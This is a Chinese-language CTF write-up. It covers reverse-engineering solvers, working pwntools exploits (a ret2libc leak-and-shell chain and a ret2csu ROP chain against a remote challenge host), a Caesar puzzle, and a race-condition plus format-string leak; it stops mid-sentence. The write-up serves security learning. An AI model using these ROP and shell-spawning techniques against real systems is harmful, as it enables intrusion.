EasyRE

ai一把出直接给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
def rol(x, n):
return ((x << n) | (x >> (8 - n))) & 0xFF

def ror(x, n):
return ((x >> n) | (x << (8 - n))) & 0xFF

def unxor_chain(data):
temp = [0] * len(data)
for i in range(len(data)):
if i == 0:
temp[i] = data[i] ^ 0x42
else:
temp[i] = (data[i] ^ data[i-1]) ^ 0x42
return temp

def generate_sbox():
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] - 7*(i//7) + i + 4919) % 256
s[i], s[j] = s[j], s[i]
return s

def decrypt_flag(target):
temp_v24 = unxor_chain(target)
s = generate_sbox() # 固定 s-box

i = 0
j = 0
flag = []

for idx in range(len(temp_v24)):
# Step 1: i = (i + 1) % 256
i = (i + 1) % 256

# Step 2: j 更新
if i % 3 == 0:
j = (j + s[3 * i % 256]) % 256
else:
j = (j + s[i]) % 256

# Step 3: 交换 s[i] 和 s[j]
old_si = s[i]
old_sj = s[j]
s[i], s[j] = s[j], s[i]

# Step 4: 计算 index = (old_s[i] + new_s[i]) & 0xFF = (old_si + s[i]) & 0xFF
index = (old_si + s[i]) & 0xFF
ks = s[index] # keystream byte

# Step 5: bias = (i * j) % 16
bias = (i * j) % 16

# Step 6: temp_v24[idx] = rol( bias + (flag_char ^ ks), 3 )
decrypted_val = ror(temp_v24[idx], 3) # ror by 3
# => bias + (flag_char ^ ks) = decrypted_val
xor_val = decrypted_val - bias
xor_val &= 0xFF # 模 256

flag_char = xor_val ^ ks
flag.append(flag_char)

return bytes(flag).decode('ascii', errors='replace')

# 目标数据
target = [
0x93, 0xF9, 0x8D, 0x92, 0x52, 0x57, 0xD9, 0x05, 0xC6, 0x0A, 0x50,
0xC7, 0xDB, 0x4F, 0xCB, 0xD8, 0x5D, 0xA6, 0xB9, 0x40, 0x95,
0x70, 0xE7, 0x9A, 0x37, 0x72, 0x4D, 0xEF, 0x57
]

flag = decrypt_flag(target)
print("Flag:", flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
__halt();
}

点击main,发现有花指令,改一下

先给出修改好的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
int i; // [rsp+4h] [rbp-6Ch]
int v6[4]; // [rsp+10h] [rbp-60h] BYREF
int v7[8]; // [rsp+20h] [rbp-50h]
__int64 buf[6]; // [rsp+40h] [rbp-30h] BYREF

buf[5] = __readfsqword(0x28u);
v6[0] = 2;
v6[1] = 0;
v6[2] = 2;
v6[3] = 2;
memset(buf, 0, 32);
v7[0] = 1452940357;
v7[1] = -282301936;
v7[2] = -79426602;
v7[3] = 1469576221;
v7[4] = 1379922627;
v7[5] = 1211333849;
v7[6] = 907455533;
v7[7] = 112603437;
puts("Pls input flag");
read(0, buf, 0x20uLL);
sub_55A7A6AAA1A9((unsigned int *)buf, v6);
for ( i = 0; i <= 3; ++i )
{
if ( v7[i] != *(_DWORD *)(4LL * i + v3) || v7[2 * i + 1] != *(_DWORD *)(4 * (2 * i + 1LL) + v3) )
{
puts("ERROR");
_exit(0);
}
}
puts("Success");
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall sub_55A7A6AAA1A9(unsigned int *a1, _DWORD *a2)
{
int i; // [rsp+18h] [rbp-28h]
unsigned int v3; // [rsp+1Ch] [rbp-24h]
unsigned int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+24h] [rbp-1Ch]
unsigned int j; // [rsp+28h] [rbp-18h]

for ( i = 0; i <= 3; ++i )
{
v3 = a1[2 * i];
v4 = a1[2 * i + 1];
v5 = 0;
for ( j = 0; j <= 0x1F; ++j )
{
v5 -= 1988930350;
v3 += v5 ^ (v4 + v5) ^ (16 * v4 + *a2) ^ ((v4 >> 5) + a2[1]);
v4 += v5 ^ (v3 + v5) ^ (16 * v3 + a2[2]) ^ ((v3 >> 5) + a2[3]);
}
a1[2 * i] = v3;
a1[2 * i + 1] = v4;
}
return a1;
}

这是改好的

现在来说怎么改,点击进来时你可以发现都是没定义的,直接改patch根本不行,我就先用kali远程调试了一下,让数据重新加载了一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:0000000000001308 main:                                   ; DATA XREF: start+21↑o
.text:0000000000001308 ; __unwind {
.text:0000000000001308 endbr64
.text:000000000000130C push rbp
.text:000000000000130D mov rbp, rsp
.text:0000000000001310 sub rsp, 70h
.text:0000000000001314 mov rax, fs:28h
.text:000000000000131D mov [rbp-8], rax
.text:0000000000001321 xor eax, eax
.text:0000000000001323 mov dword ptr [rbp-60h], 2
.text:000000000000132A
.text:000000000000132A loc_132A: ; CODE XREF: .text:loc_1363↓j
.text:000000000000132A mov dword ptr [rbp-5Ch], 0
.text:0000000000001331 mov dword ptr [rbp-58h], 2
.text:0000000000001338 mov dword ptr [rbp-54h], 2
.text:000000000000133F mov qword ptr [rbp-30h], 0
.text:0000000000001347 mov qword ptr [rbp-28h], 0
.text:000000000000134F mov qword ptr [rbp-20h], 0
.text:0000000000001357 mov qword ptr [rbp-18h], 0
.text:000000000000135F jz short near ptr loc_1363+1
.text:0000000000001361 jnz short near ptr loc_1363+1
.text:0000000000001363
.text:0000000000001363 loc_1363: ; CODE XREF: .text:000000000000135F↑j
.text:0000000000001363 ; .text:0000000000001361↑j
.text:0000000000001363 loope near ptr loc_132A+2
.text:0000000000001365 mov r8b, 45h ; 'E'
.text:0000000000001368 sbb al, 9Ah
.text:000000000000136A push rsi
.text:000000000000136B mov dword ptr [rbp-4Ch], 0EF2C6A10h
.text:0000000000001372 mov dword ptr [rbp-48h], 0FB440BD6h
.text:0000000000001379 mov dword ptr [rbp-44h], 5797F41Dh
.text:0000000000001380 mov dword ptr [rbp-40h], 523FF2C3h
.text:0000000000001387 mov dword ptr [rbp-3Ch], 48337CD9h
.text:000000000000138E mov dword ptr [rbp-38h], 3616AC2Dh
.text:0000000000001395 mov dword ptr [rbp-34h], 6B6312Dh
.text:000000000000139C lea rdi, aPlsInputFlag ; "Pls input flag"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00000000000011A9 loc_11A9:                               ; CODE XREF: .text:00000000000013D1↓p
.text:00000000000011A9 ; __unwind {
.text:00000000000011A9 endbr64
.text:00000000000011AD push rbp
.text:00000000000011AE mov rbp, rsp
.text:00000000000011B1 mov [rbp-38h], rdi
.text:00000000000011B5 mov [rbp-40h], rsi
.text:00000000000011B9 jz short near ptr loc_11BD+1
.text:00000000000011BB jnz short near ptr loc_11BD+1
.text:00000000000011BD
.text:00000000000011BD loc_11BD: ; CODE XREF: .text:00000000000011B9↑j
.text:00000000000011BD ; .text:00000000000011BB↑j
.text:00000000000011BD loope near ptr loc_1182+4
.text:00000000000011BF db 45h
.text:00000000000011BF fadd dword ptr [r8]
.text:00000000000011BF ; ---------------------------------------------------------------------------
.text:00000000000011C2 dw 0
.text:00000000000011C4 dd 12EE900h
.text:00000000000011C8 dq 48C001D8458B0000h, 85148D4898h, 0D00148C8458B4800h
.text:00000000000011E0 dq 0D8458BDC4589008Bh, 1C083489848C001h, 85148D48h, 8BD00148C8458B48h
.text:0000000000001200 dq 0E445C7E0458900h, 54D2EC45C7000000h, 8BC0458B488973h
.text:0000000000001218 dq 8BC0458B48F04589h, 458B48F445890440h, 48F8458908408BC0h
.text:0000000000001230 dq 45890C408BC0458Bh, 0E845C7FCh, 8BE1017503746DEBh, 0E0458BE44501EC45h
.text:0000000000001250 dq 0F0458BC28904E0C1h, 458BE0558B020C8Dh, 8BCA89C131D001E4h
.text:0000000000001268 dq 8BC18905E8C1E045h, 4533D031C801F445h, 0C1DC458BDC4501E4h
.text:0000000000001280 dq 8DF8458BC28904E0h, 0E4458BDC558B020Ch, 458BCA89C131D001h
.text:0000000000001298 dq 458BC18905E8C1DCh, 0E44533D031C801FCh, 8301E84583E04501h
.text:00000000000012B0 dq 7503748D761FE87Dh, 48C001D8458BE101h, 85148D4898h, 0C20148C8458B4800h
.text:00000000000012D0 dq 0D8458B0289DC458Bh, 1C083489848C001h, 85148D48h, 8BC20148C8458B48h
.text:00000000000012F0 dq 1D845830289E045h, 0FEC88E0F03D87D83h, 0C35DC8458B48FFFFh

重新加载后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000563C791E1308 main:                                   ; DATA XREF: start+21↑o
.text:0000563C791E1308 ; __unwind { // 563C791E0000
.text:0000563C791E1308 endbr64
.text:0000563C791E130C push rbp
.text:0000563C791E130D mov rbp, rsp
.text:0000563C791E1310 sub rsp, 70h
.text:0000563C791E1314 mov rax, fs:28h
.text:0000563C791E131D mov [rbp-8], rax
.text:0000563C791E1321 xor eax, eax
.text:0000563C791E1323 mov dword ptr [rbp-60h], 2
.text:0000563C791E132A mov dword ptr [rbp-5Ch], 0
.text:0000563C791E1331 mov dword ptr [rbp-58h], 2
.text:0000563C791E1338 mov dword ptr [rbp-54h], 2
.text:0000563C791E133F mov qword ptr [rbp-30h], 0
.text:0000563C791E1347 mov qword ptr [rbp-28h], 0
.text:0000563C791E134F mov qword ptr [rbp-20h], 0
.text:0000563C791E1357 mov qword ptr [rbp-18h], 0
.text:0000563C791E135F jz short loc_563C791E1364
.text:0000563C791E1361 jnz short loc_563C791E1364
.text:0000563C791E1361 ; ---------------------------------------------------------------------------
.text:0000563C791E1363 db 0E1h
.text:0000563C791E1364 ; ---------------------------------------------------------------------------
.text:0000563C791E1364
.text:0000563C791E1364 loc_563C791E1364: ; CODE XREF: .text:0000563C791E135F↑j
.text:0000563C791E1364 ; .text:0000563C791E1361↑j
.text:0000563C791E1364 mov dword ptr [rbp-50h], 569A1C45h
.text:0000563C791E136B mov dword ptr [rbp-4Ch], 0EF2C6A10h
.text:0000563C791E1372 mov dword ptr [rbp-48h], 0FB440BD6h
.text:0000563C791E1379 mov dword ptr [rbp-44h], 5797F41Dh
.text:0000563C791E1380 mov dword ptr [rbp-40h], 523FF2C3h
.text:0000563C791E1387 mov dword ptr [rbp-3Ch], 48337CD9h
.text:0000563C791E138E mov dword ptr [rbp-38h], 3616AC2Dh
.text:0000563C791E1395 mov dword ptr [rbp-34h], 6B6312Dh
.text:0000563C791E139C lea rdi, aPlsInputFlag ; "Pls input flag"
.text:0000563C791E13A3 call _puts
.text:0000563C791E13A8 lea rax, [rbp-30h]
.text:0000563C791E13AC mov edx, 20h ; ' '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.text:000055E1FCA101A9                 endbr64
.text:000055E1FCA101AD push rbp
.text:000055E1FCA101AE mov rbp, rsp
.text:000055E1FCA101B1 mov [rbp-38h], rdi
.text:000055E1FCA101B5 mov [rbp-40h], rsi
.text:000055E1FCA101B9 jz short loc_55E1FCA101BE
.text:000055E1FCA101BB jnz short loc_55E1FCA101BE
.text:000055E1FCA101BB ; ---------------------------------------------------------------------------
.text:000055E1FCA101BD db 0E1h //nop
.text:000055E1FCA101BE ; ---------------------------------------------------------------------------
.text:000055E1FCA101BE
.text:000055E1FCA101BE loc_55E1FCA101BE: ; CODE XREF: .text:000055E1FCA101B9↑j
.text:000055E1FCA101BE ; .text:000055E1FCA101BB↑j
.text:000055E1FCA101BE mov dword ptr [rbp-28h], 0
.text:000055E1FCA101C5 jmp loc_55E1FCA102F8
.text:000055E1FCA101CA ; ---------------------------------------------------------------------------
.text:000055E1FCA101CA
.text:000055E1FCA101CA loc_55E1FCA101CA: ; CODE XREF: .text:000055E1FCA102FC↓j
.text:000055E1FCA101CA mov eax, [rbp-28h]
.text:000055E1FCA101CD add eax, eax
.text:000055E1FCA101CF cdqe
.text:000055E1FCA101D1 lea rdx, ds:0[rax*4]
.text:000055E1FCA101D9 mov rax, [rbp-38h]
.text:000055E1FCA101DD add rax, rdx
.text:000055E1FCA101E0 mov eax, [rax]
.text:000055E1FCA101E2 mov [rbp-24h], eax
.text:000055E1FCA101E5 mov eax, [rbp-28h]
.text:000055E1FCA101E8 add eax, eax
.text:000055E1FCA101EA cdqe
.text:000055E1FCA101EC add rax, 1
.text:000055E1FCA101F0 lea rdx, ds:0[rax*4]
.text:000055E1FCA101F8 mov rax, [rbp-38h]
.text:000055E1FCA101FC add rax, rdx
.text:000055E1FCA101FF mov eax, [rax]
.text:000055E1FCA10201 mov [rbp-20h], eax
.text:000055E1FCA10204 mov dword ptr [rbp-1Ch], 0
.text:000055E1FCA1020B mov dword ptr [rbp-14h], 897354D2h
.text:000055E1FCA10212 mov rax, [rbp-40h]
.text:000055E1FCA10216 mov eax, [rax]
.text:000055E1FCA10218 mov [rbp-10h], eax
.text:000055E1FCA1021B mov rax, [rbp-40h]
.text:000055E1FCA1021F mov eax, [rax+4]
.text:000055E1FCA10222 mov [rbp-0Ch], eax
.text:000055E1FCA10225 mov rax, [rbp-40h]
.text:000055E1FCA10229 mov eax, [rax+8]
.text:000055E1FCA1022C mov [rbp-8], eax
.text:000055E1FCA1022F mov rax, [rbp-40h]
.text:000055E1FCA10233 mov eax, [rax+0Ch]
.text:000055E1FCA10236 mov [rbp-4], eax
.text:000055E1FCA10239 mov dword ptr [rbp-18h], 0
.text:000055E1FCA10240 jmp short loc_55E1FCA102AF

把类似这样的nop(在汇编标出) ,P重定义,tab就得到伪代码了。

1
2
3
.text:000055E1FCA101BB ; ---------------------------------------------------------------------------
.text:000055E1FCA101BD db 0E1h //nop
.text:000055E1FCA101BE ; ---------------------------------------------------------------------------

ok,现在可以给exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
def reverse_encrypt():
# 目标值(处理后的结果),来自v7数组,转换为32位无符号整数
v7 = [
1452940357,
-282301936,
-79426602,
1469576221,
1379922627,
1211333849,
907455533,
112603437
]

# 将v7转换为32位无符号整数,并按对分组
targets = []
for i in range(0, 8, 2):
v3_final = v7[i] & 0xFFFFFFFF
v4_final = v7[i + 1] & 0xFFFFFFFF
targets.append((v3_final, v4_final))

# a2数组的值,固定为[2, 0, 2, 2]
a2 = [2, 0, 2, 2]
initial_pairs = []

# 对每对目标值进行逆向计算
for (target_v3, target_v4) in targets:
current_v3 = target_v3
current_v4 = target_v4

# 逆向32步加密过程(从第31步到第0步)
for j in reversed(range(32)): # j = 31, 30, ..., 0
# 计算当前步骤的v5值
v5 = (-1988930350) * (j + 1)
v5 &= 0xFFFFFFFF # 保持32位有符号整数特性

# 计算delta_v4,用于还原v4的上一步值
term1 = v5
term2 = (current_v3 + v5) & 0xFFFFFFFF
term3 = (16 * current_v3 + a2[2]) & 0xFFFFFFFF
term4 = ((current_v3 >> 5) + a2[3]) & 0xFFFFFFFF
delta_v4 = (term1 ^ term2 ^ term3 ^ term4) & 0xFFFFFFFF

# 还原上一步的v4
prev_v4 = (current_v4 - delta_v4) & 0xFFFFFFFF

# 计算delta_v3,用于还原v3的上一步值
term1_v3 = v5
term2_v3 = (prev_v4 + v5) & 0xFFFFFFFF
term3_v3 = (16 * prev_v4 + a2[0]) & 0xFFFFFFFF
term4_v3 = ((prev_v4 >> 5) + a2[1]) & 0xFFFFFFFF
delta_v3 = (term1_v3 ^ term2_v3 ^ term3_v3 ^ term4_v3) & 0xFFFFFFFF

# 还原上一步的v3
prev_v3 = (current_v3 - delta_v3) & 0xFFFFFFFF

# 更新当前值,准备下一步逆向
current_v3, current_v4 = prev_v3, prev_v4

initial_pairs.append((current_v3, current_v4))

# 将初始值转换为字节(小端序,符合x86架构)
flag_bytes = b''
for v3, v4 in initial_pairs:
flag_bytes += v3.to_bytes(4, byteorder='little')
flag_bytes += v4.to_bytes(4, byteorder='little')

return flag_bytes


# 获取并打印flag
flag = reverse_encrypt()
print("Flag:", flag.decode('utf-8'))
1
Flag: b3d06a66f8aa86e3e6390f615e389e55

account

注意一下到了v12要将其覆盖成13就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='i386', os='linux')

# 定义自定义函数以匹配图片中的代码
def ru(s): return p.recvuntil(s)
def sl(s): return p.sendline(s)
def rl(): return p.recvline()
def rn(n): return p.recvn(n)
def ia(): return p.interactive()

# 处理32位地址的符号问题(与图片完全一致)
def stre(val):
return str(val & 0xffffffff).encode()

# 启动进程
p = process('./account')
elf = ELF('./account')
libc = ELF('./libc-2.31.so')

# 第一阶段:泄露libc地址(与图片完全一致)
ru(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):
sl(b'666')

sl(b'13')
sl(stre(0x080490B0)) # puts@plt
sl(stre(elf.sym['vul'])) # vul函数地址
sl(stre(0x0804C014)) # puts@got
sl(b'0')

rl() # 接收"Recording completed"行
libc_base = u32(rn(4)) - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# 第二阶段:获取shell(与图片完全一致)
ru(b"Enter your bill, enter 0 to exit:\n")
for i in range(10):
sl(b'666')

sl(b'13')
sl(stre(system_addr - 0x100000000)) # 负数技巧
sl(b'1') # 任意返回地址
sl(stre(binsh_addr - 0x100000000)) # 负数技巧
sl(b'0')

ia() # 进入交互模式

多重Caesar密码

1
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}

我当时写的时候

1
2
3
4
5
6
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}
flag caesar

m y f z h r p a p f x d d i
f l a g c a e s a r
7 13 5 19 13 5 19 -15 -3 -17

我把’-‘算计去了,结果以为循环是 7 13 5 19 -15 -3 -17,没解出来了。

看有的师傅用ai深度研究梭哈了

1
flag{easy_caesar_with_multiple_shifts_2025}

原理学习:

什么时候用?

找不到简单指令(如 pop rdi; ret, pop rsi; ret, pop rdx; ret)的情况下。

所以我们看到_libc_csu_init这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000401250 __libc_csu_init proc near               ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14 //rdx = r14
.text:0000000000401293 mov rsi, r13 //rsi = r13
.text:0000000000401296 mov edi, r12d //edi = r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

可以看到rdx = r14,rsi = r13,edi = r12d,可以看到rdx,rsi,edi可以通过r14, r13,r12d来控制,从而我们就可以解决这些指令缺少的问

题。

具体讲一下怎么利用的:

当执行__libc_csu_init(.text:0000000000401285 jz short loc_4012A6)是先执行loc_4012A6:,再loc_401290:

1
2
3
4
5
6
7
8
9
.text:00000000004012A6 loc_4012A6:                             ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
1
2
3
4
5
6
7
8
.text:0000000000401290 loc_401290:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14 //rdx = r14
.text:0000000000401293 mov rsi, r13 //rsi = r13
.text:0000000000401296 mov edi, r12d //edi = r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx //比较rbp, rbx
.text:00000000004012A4 jnz short loc_401290 //判断为假跳到401290

我们要他继续往下执行所以我们要是其为真,因此rbp, rbx得相等,我们先设置rbp = 1,rbx = 0;执行到add rbx, 1 –> rbx = 1,正好达

到rbp = rbx,r14设置成原本要在rdx要的参数,r13和r12也同理。

注释:由于高32位基本为0 ,所以 rdi = edi = r12d。

1
.text:0000000000401299                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]

我们只要把r15设置成我们需要执行的function,就可以 call function 。(r15+rbx * 8 = r15+0 * 8 = r15)

题目

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(_bss_start, 0LL);
write(1, "Start Your Exploit!\n", 0x14uLL);
vuln();
return 0;
}
1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

write(1, "Input:\n", 7uLL);
read(0, buf, 0x200uLL);
return write(1, "Ok.\n", 4uLL);
}

存在栈溢出。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启NX不能直接注入shellcode

这里找不到pop rdi; ret, pop rsi; ret, pop rdx; ret但是有__libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Gadgets information
============================================================
0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012b0 : pop r14 ; pop r15 ; ret
0x00000000004012b2 : pop r15 ; ret
0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x00000000004012b3 : pop rdi ; ret
0x00000000004012b1 : pop rsi ; pop r15 ; ret
0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004011ba : ret 0xfffe

我们可以利用栈溢出构造ROP链进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import*
io=remote('node5.anna.nssctf.cn',26879)
#io=process('./1')
#gdb.attach(io)
elf=ELF("./ret2csu")
libc=ELF("./libc.so.6")

write_got=0x404018
write_plt=0x401064
csu_start=0x0000000000401290
csu_end=0x000000004012AA
main=0x0000000004011DC

def csu(rbx,rbp,r15,r13,r14,r12,ret_addr):
pay=b'a'*(0x100+8)+p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
pay+=p64(csu_start)
pay+=b'a'*56+p64(ret_addr) //56填充的是loc_4012A6的7个pop|ret的地址。
io.sendline(pay)
sleep(1)

io.recvuntil('Input:\n')
csu(0,1,write_got,write_got,8,1,main)
io.recvuntil("Ok.\n")
write_addr=u64(io.recv(8))
print(f"write_addr==>{hex(write_addr)}")
base=write_addr-libc.sym['write']
system=base+libc.sym['system']
bin_sh_addr=base+next(libc.search(b"/bin/sh"))
rdi = 0x00000000004012b3
ret = 0x000000000040101a
pay=b'a'*0x108+p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system)
io.sendlineafter('Input:\n',pay)
io.interactive()

参考blog(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)

Time

mian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sub_2A31();
while ( 1 )
{
while ( !(unsigned int)sub_2B0F() )
;
pthread_create(newthread, 0LL, start_routine, 0LL);
}
}

sub_2A31()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_2A31()
{
char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("please input your name:");
__isoc99_scanf("%100s", byte_50A0);
puts("I will tell you all file names in the current directory!");
argv[0] = "/bin/ls";
argv[1] = "/";
argv[2] = "-al";
argv[3] = 0LL;
if ( !fork() )
execve("/bin/ls", argv, 0LL);
wait(0LL);
puts("good luck :-)");
return v2 - __readfsqword(0x28u);
}

sub_2B0F

1
2
3
4
5
6
7
8
9
__int64 sub_2B0F()
{
puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1LL;
puts("flag is not allowed!");
return 0LL;
}

start_routine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall start_routine(void *a1)
{
unsigned int v1; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
char v6[96]; // [rsp+10h] [rbp-460h] BYREF
char v7[16]; // [rsp+70h] [rbp-400h] BYREF
char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v9; // [rsp+468h] [rbp-8h]

v9 = __readfsqword(0x28u);
sub_1329(v6);
v1 = strlen(file);
sub_1379(v6, file, v1);
sub_14CB(v6, v7);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v7[i]);
putchar(10);
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8uLL);
close(fd);
printf("hello ");
printf(byte_50A0);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
return v9 - __readfsqword(0x28u);
}

这里在start_routine的printf(byte_50A0);有格式化字符串漏洞很明显我们要把读入的flag通过的格式化字符串泄露出来。

可是在sub_2B0F读入的文件名对flag进行了过滤。这里就要了解一下进程和线程的关系了。

线程与进程的基本关系(复习)

  • 进程(Process):操作系统资源分配的基本单位。每个进程拥有独立的内存空间、文件描述符、环境变量等。进程之间相互隔离,通信需要通过 IPC(如管道、消息队列)。
  • 线程(Thread):进程内的执行单元(轻量级进程)。多个线程共享同一进程的资源(如内存、文件描述符),但每个线程有自己的栈、寄存器和程序计数器。线程切换开销小,适合并发任务。

线程竞争(Race Condition)的定义和原因

  • 定义:当多个线程同时读写共享资源(如 filename),且没有同步机制(如锁)时,程序的执行结果依赖于线程调度的时序,导致不一致或错误。
1
2
3
4
5
6
7
8
9
时间   事件
---- ----
t0 用户输入 "temp.txt" → main 线程设置 filename = "temp.txt"
t1 main 启动 work 线程
t2 work 线程开始 MD5 计算(耗时操作,持续到 t2+100ms)
↳ 在此期间,main 线程被挂起(open 延迟)
t2+50ms 用户输入 "flag" → main 线程设置 filename = "flag"(覆盖)
t2+100ms work 线程完成 MD5 计算
t2+101ms main 线程恢复,执行 open(filename) → 打开 "flag" 文件

再用格式化字符串泄露flag

1
hello aaaa0x71a74c1fe8a0(nil)(nil)0x6(nil)0x10000000000x3000003e80x2000x36c63f9b4b69cc070x2bc422698ba00f710x80656d6974(nil)(nil)(nil)(nil)(nil)(nil)0x20(nil)0x36c63f9b4b69cc070x2bc422698ba00f710x10102464c457f(nil)0x1003e00030x12400x400x41980x380040000000000x1c001d0040000d0x4000000060x400x400x400x2d80x2d80x80x4000000030x318 ,your file read done!

把16进制

